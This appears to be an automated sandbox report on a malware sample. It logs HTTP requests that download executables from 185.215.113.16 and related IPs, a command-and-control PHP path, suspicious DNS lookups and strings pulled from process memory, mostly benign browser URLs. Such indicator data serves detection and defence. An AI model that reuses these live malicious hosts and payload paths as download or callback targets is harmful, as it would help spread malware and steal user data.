Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 24 Nov 2024 12:34:33 GMTIf-None-Match: "67431d59-1c6200"
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 24 Nov 2024 12:34:40 GMTIf-None-Match: "67431d60-1b7e00"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 24 Nov 2024 12:32:47 GMTIf-None-Match: "67431cef-e1000"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 24 Nov 2024 12:33:14 GMTIf-None-Match: "67431d0a-2af400"
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Sun, 24 Nov 2024 12:19:04 GMTIf-None-Match: "674319b8-42ea00"
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: global traffic	DNS traffic detected: DNS query: push-hook.cyou
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: push-hook.cyou

Source: a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: e5e907fecb.exe, 0000000F.00000003.3204335566.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3205264572.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: e5e907fecb.exe, 0000000F.00000003.3204335566.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000002.3277415310.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: e5e907fecb.exe, 0000000F.00000002.3276311001.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: e5e907fecb.exe, 0000000F.00000003.3204335566.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000002.3277415310.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: e5e907fecb.exe, 0000000F.00000003.3205264572.0000000000E58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3207489291.00000000005E7000.00000040.00000001.01000000.0000000C.sdmp, 3996dc7402.exe, 0000000E.00000002.3207489291.0000000000504000.00000040.00000001.01000000.0000000C.sdmp, 3996dc7402.exe, 0000000E.00000002.3207489291.0000000000554000.00000040.00000001.01000000.0000000C.sdmp, 3996dc7402.exe, 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp, 3996dc7402.exe, 00000021.00000002.3320048411.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 3996dc7402.exe, 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 3996dc7402.exe, 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/.
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllCP
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllU_
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dlly_
Source: 3996dc7402.exe, 0000000E.00000002.3207489291.0000000000504000.00000040.00000001.01000000.0000000C.sdmp, 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3207489291.0000000000554000.00000040.00000001.01000000.0000000C.sdmp, 3996dc7402.exe, 00000021.00000002.3320048411.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 3996dc7402.exe, 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 3996dc7402.exe, 00000021.00000002.3320048411.00000000011D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: 3996dc7402.exe, 00000021.00000002.3320048411.00000000011D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/7
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:
Source: 3996dc7402.exe, 00000021.00000002.3320048411.00000000011D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpF
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN
Source: 3996dc7402.exe, 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpS
Source: 3996dc7402.exe, 0000000E.00000002.3207489291.00000000005E7000.00000040.00000001.01000000.0000000C.sdmp, 3996dc7402.exe, 0000000E.00000002.3207489291.0000000000504000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: 3996dc7402.exe, 0000000E.00000002.3207489291.0000000000554000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 3996dc7402.exe, 00000021.00000002.3320048411.00000000011D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpr
Source: 3996dc7402.exe, 0000000E.00000002.3207489291.00000000005E7000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpser
Source: 3996dc7402.exe, 0000000E.00000002.3218633907.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php~
Source: 3996dc7402.exe, 0000000E.00000002.3207489291.0000000000554000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206BAE
Source: 3996dc7402.exe, 0000000E.00000002.3207489291.0000000000504000.00000040.00000001.01000000.0000000C.sdmp, 3996dc7402.exe, 0000000E.00000002.3207489291.0000000000554000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: 3996dc7402.exe, 0000000E.00000002.3207489291.00000000005E7000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206s.exe
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: e5e907fecb.exe, 0000000D.00000002.2681648947.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mH
Source: r5mqFEC.exe, 0000000A.00000003.2654045279.000000000329C000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666667555.000000000329F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: a7f098a093.exe, 0000000C.00000003.3116694621.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347
Source: a7f098a093.exe, 0000000C.00000003.3116694621.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17320193476963
Source: a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: r5mqFEC.exe, 0000000A.00000003.2654045279.000000000329C000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666667555.000000000329F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: e5e907fecb.exe, 0000000F.00000003.2950450071.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.ch
Source: 3996dc7402.exe, 0000000E.00000002.3257886939.000000001D6E3000.00000004.00000020.00020000.00000000.sdmp, 3996dc7402.exe, 0000000E.00000002.3262321587.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: r5mqFEC.exe, 0000000A.00000003.2526008622.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2899191317.00000000056F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3497708315.000000000163A000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3496995219.000000000163A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3497708315.000000000163A000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3496995219.000000000163A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3497708315.000000000163A000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3496995219.000000000163A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3497708315.000000000163A000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3496995219.000000000163A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: r5mqFEC.exe, 0000000A.00000003.2527758180.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2935168287.000002651B0E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
